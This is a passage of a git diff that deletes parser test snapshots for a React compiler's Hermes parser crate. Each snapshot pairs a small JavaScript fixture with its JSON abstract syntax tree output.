-                  "type": "Identifier",
-                  "name": "child",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    79,
-                    84
-                  ]
-                },
-                "init": {
-                  "type": "JSXElement",
-                  "openingElement": {
-                    "type": "JSXOpeningElement",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "Component",
-                      "loc": null,
-                      "range": [
-                        88,
-                        97
-                      ]
-                    },
-                    "attributes": [
-                      {
-                        "type": "JSXAttribute",
-                        "name": {
-                          "type": "JSXIdentifier",
-                          "name": "data",
-                          "loc": null,
-                          "range": [
-                            98,
-                            102
-                          ]
-                        },
-                        "value": {
-                          "type": "JSXExpressionContainer",
-                          "expression": {
-                            "type": "Identifier",
-                            "name": "y",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              104,
-                              105
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            103,
-                            106
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          98,
-                          106
-                        ]
-                      }
-                    ],
-                    "selfClosing": true,
-                    "loc": null,
-                    "range": [
-                      87,
-                      109
-                    ]
-                  },
-                  "children": [],
-                  "closingElement": null,
-                  "loc": null,
-                  "range": [
-                    87,
-                    109
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  79,
-                  109
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              73,
-              110
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      113,
-                      114
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "y",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      115,
-                      116
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    113,
-                    116
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    117,
-                    121
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  113,
-                  121
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      122,
-                      127
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "p0",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      128,
-                      130
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    122,
-                    130
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                113,
-                131
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              113,
-              132
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Component",
-                  "loc": null,
-                  "range": [
-                    143,
-                    152
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "data",
-                      "loc": null,
-                      "range": [
-                        153,
-                        157
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          159,
-                          160
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        158,
-                        161
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      153,
-                      161
-                    ]
-                  }
-                ],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  142,
-                  162
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "child",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      163,
-                      168
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    162,
-                    169
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Component",
-                  "loc": null,
-                  "range": [
-                    171,
-                    180
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  169,
-                  181
-                ]
-              },
-              "loc": null,
-              "range": [
-                142,
-                181
-              ]
-            },
-            "loc": null,
-            "range": [
-              135,
-              182
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          184
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        184
-      ],
-      "loc": null,
-      "range": [
-        0,
-        184
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    184
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@property-call-evaluation-order.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@property-call-evaluation-order.js.snap
deleted file mode 100644
index c10da9e1a946..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@property-call-evaluation-order.js.snap
+++ /dev/null
@@ -1,598 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/property-call-evaluation-order.js
----
-Input:
-// Should print A, arg, original
-
-function Component() {
-  const changeF = (o) => {
-    o.f = () => console.log("new");
-  };
-  const x = {
-    f: () => console.log("original"),
-  };
-
-  (console.log("A"), x).f((changeF(x), console.log("arg"), 1));
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          43,
-          52
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "changeF",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    65,
-                    72
-                  ]
-                },
-                "init": {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [
-                    {
-                      "type": "Identifier",
-                      "name": "o",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        76,
-                        77
-                      ]
-                    }
-                  ],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "o",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                88,
-                                89
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "f",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                90,
-                                91
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              88,
-                              91
-                            ]
-                          },
-                          "right": {
-                            "type": "ArrowFunctionExpression",
-                            "id": null,
-                            "params": [],
-                            "body": {
-                              "type": "CallExpression",
-                              "callee": {
-                                "type": "MemberExpression",
-                                "object": {
-                                  "type": "Identifier",
-                                  "name": "console",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    100,
-                                    107
-                                  ]
-                                },
-                                "property": {
-                                  "type": "Identifier",
-                                  "name": "log",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    108,
-                                    111
-                                  ]
-                                },
-                                "computed": false,
-                                "loc": null,
-                                "range": [
-                                  100,
-                                  111
-                                ]
-                              },
-                              "arguments": [
-                                {
-                                  "type": "StringLiteral",
-                                  "value": "new",
-                                  "loc": null,
-                                  "range": [
-                                    112,
-                                    117
-                                  ]
-                                }
-                              ],
-                              "loc": null,
-                              "range": [
-                                100,
-                                118
-                              ]
-                            },
-                            "generator": true,
-                            "async": false,
-                            "loc": null,
-                            "range": [
-                              94,
-                              118
-                            ],
-                            "expression": true,
-                            "loc": null,
-                            "range": [
-                              94,
-                              118
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            88,
-                            118
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          88,
-                          119
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      82,
-                      123
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    75,
-                    123
-                  ],
-                  "expression": false,
-                  "loc": null,
-                  "range": [
-                    75,
-                    123
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  65,
-                  123
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              59,
-              124
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    133,
-                    134
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "f",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          143,
-                          144
-                        ]
-                      },
-                      "value": {
-                        "type": "ArrowFunctionExpression",
-                        "id": null,
-                        "params": [],
-                        "body": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "console",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                152,
-                                159
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "log",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                160,
-                                163
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              152,
-                              163
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "StringLiteral",
-                              "value": "original",
-                              "loc": null,
-                              "range": [
-                                164,
-                                174
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            152,
-                            175
-                          ]
-                        },
-                        "generator": true,
-                        "async": false,
-                        "loc": null,
-                        "range": [
-                          146,
-                          175
-                        ],
-                        "expression": true,
-                        "loc": null,
-                        "range": [
-                          146,
-                          175
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": false,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        143,
-                        175
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    137,
-                    180
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  133,
-                  180
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              127,
-              181
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "SequenceExpression",
-                  "expressions": [
-                    {
-                      "type": "CallExpression",
-                      "callee": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "console",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            186,
-                            193
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "log",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            194,
-                            197
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          186,
-                          197
-                        ]
-                      },
-                      "arguments": [
-                        {
-                          "type": "StringLiteral",
-                          "value": "A",
-                          "loc": null,
-                          "range": [
-                            198,
-                            201
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        186,
-                        202
-                      ]
-                    },
-                    {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        204,
-                        205
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    186,
-                    205
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "f",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    207,
-                    208
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  185,
-                  208
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "SequenceExpression",
-                  "expressions": [
-                    {
-                      "type": "CallExpression",
-                      "callee": {
-                        "type": "Identifier",
-                        "name": "changeF",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          210,
-                          217
-                        ]
-                      },
-                      "arguments": [
-                        {
-                          "type": "Identifier",
-                          "name": "x",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            218,
-                            219
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        210,
-                        220
-                      ]
-                    },
-                    {
-                      "type": "CallExpression",
-                      "callee": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "console",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            222,
-                            229
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "log",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            230,
-                            233
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          222,
-                          233
-                        ]
-                      },
-                      "arguments": [
-                        {
-                          "type": "StringLiteral",
-                          "value": "arg",
-                          "loc": null,
-                          "range": [
-                            234,
-                            239
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        222,
-                        240
-                      ]
-                    },
-                    {
-                      "type": "NumericLiteral",
-                      "value": 1.0,
-                      "loc": null,
-                      "range": [
-                        242,
-                        243
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    210,
-                    243
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                185,
-                245
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              185,
-              246
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                256,
-                257
-              ]
-            },
-            "loc": null,
-            "range": [
-              249,
-              258
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          55,
-          260
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        34,
-        260
-      ],
-      "loc": null,
-      "range": [
-        34,
-        260
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    34,
-    260
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@property-call-spread.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@property-call-spread.js.snap
deleted file mode 100644
index d41e58dd3aaa..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@property-call-spread.js.snap
+++ /dev/null
@@ -1,239 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/property-call-spread.js
----
-Input:
-function Component(props) {
-  const x = foo.bar(...props.a, null, ...props.b);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "foo",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        40,
-                        43
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "bar",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        44,
-                        47
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      40,
-                      47
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "SpreadElement",
-                      "argument": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            51,
-                            56
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "a",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            57,
-                            58
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          51,
-                          58
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        48,
-                        58
-                      ]
-                    },
-                    {
-                      "type": "NullLiteral",
-                      "loc": null,
-                      "range": [
-                        60,
-                        64
-                      ]
-                    },
-                    {
-                      "type": "SpreadElement",
-                      "argument": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            69,
-                            74
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "b",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            75,
-                            76
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          69,
-                          76
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        66,
-                        76
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    40,
-                    77
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  77
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              78
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                88,
-                89
-              ]
-            },
-            "loc": null,
-            "range": [
-              81,
-              90
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          92
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        92
-      ],
-      "loc": null,
-      "range": [
-        0,
-        92
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    92
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reactive-dependencies-non-optional-properties-inside-optional-chain.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reactive-dependencies-non-optional-properties-inside-optional-chain.js.snap
deleted file mode 100644
index 73b00e616b8b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reactive-dependencies-non-optional-properties-inside-optional-chain.js.snap
+++ /dev/null
@@ -1,206 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/reactive-dependencies-non-optional-properties-inside-optional-chain.js
----
-Input:
-function Component(props) {
-  return props.post.feedback.comments?.edges?.map(render);
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "OptionalCallExpression",
-              "callee": {
-                "type": "OptionalMemberExpression",
-                "object": {
-                  "type": "OptionalMemberExpression",
-                  "object": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            37,
-                            42
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "post",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            43,
-                            47
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          37,
-                          47
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "feedback",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          48,
-                          56
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        37,
-                        56
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "comments",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        57,
-                        65
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      37,
-                      65
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "edges",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      67,
-                      72
-                    ]
-                  },
-                  "computed": false,
-                  "optional": true,
-                  "loc": null,
-                  "range": [
-                    37,
-                    72
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "map",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    74,
-                    77
-                  ]
-                },
-                "computed": false,
-                "optional": true,
-                "loc": null,
-                "range": [
-                  37,
-                  77
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "render",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    78,
-                    84
-                  ]
-                }
-              ],
-              "optional": false,
-              "loc": null,
-              "range": [
-                37,
-                85
-              ]
-            },
-            "loc": null,
-            "range": [
-              30,
-              86
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          88
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        88
-      ],
-      "loc": null,
-      "range": [
-        0,
-        88
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    88
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reactive-scope-grouping.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reactive-scope-grouping.js.snap
deleted file mode 100644
index aa1061982084..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reactive-scope-grouping.js.snap
+++ /dev/null
@@ -1,312 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/reactive-scope-grouping.js
----
-Input:
-function foo() {
-  let x = {};
-  let y = [];
-  let z = {};
-  y.push(z);
-  x.y = y;
-
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    23,
-                    24
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    27,
-                    29
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  23,
-                  29
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              19,
-              30
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    37,
-                    38
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    41,
-                    43
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  37,
-                  43
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              33,
-              44
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    51,
-                    52
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    55,
-                    57
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  51,
-                  57
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              47,
-              58
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    61,
-                    62
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    63,
-                    67
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  61,
-                  67
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    68,
-                    69
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                61,
-                70
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              61,
-              71
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    74,
-                    75
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    76,
-                    77
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  74,
-                  77
-                ]
-              },
-              "right": {
-                "type": "Identifier",
-                "name": "y",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  80,
-                  81
-                ]
-              },
-              "loc": null,
-              "range": [
-                74,
-                81
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              74,
-              82
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                93,
-                94
-              ]
-            },
-            "loc": null,
-            "range": [
-              86,
-              95
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          15,
-          97
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        97
-      ],
-      "loc": null,
-      "range": [
-        0,
-        97
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    97
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reactive-scopes-if.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reactive-scopes-if.js.snap
deleted file mode 100644
index 2779cdd74f1b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reactive-scopes-if.js.snap
+++ /dev/null
@@ -1,458 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/reactive-scopes-if.js
----
-Input:
-function foo(a, b, c) {
-  const x = [];
-  if (a) {
-    const y = [];
-    y.push(b);
-    x.push(<div>{y}</div>);
-  } else {
-    x.push(c);
-  }
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "c",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
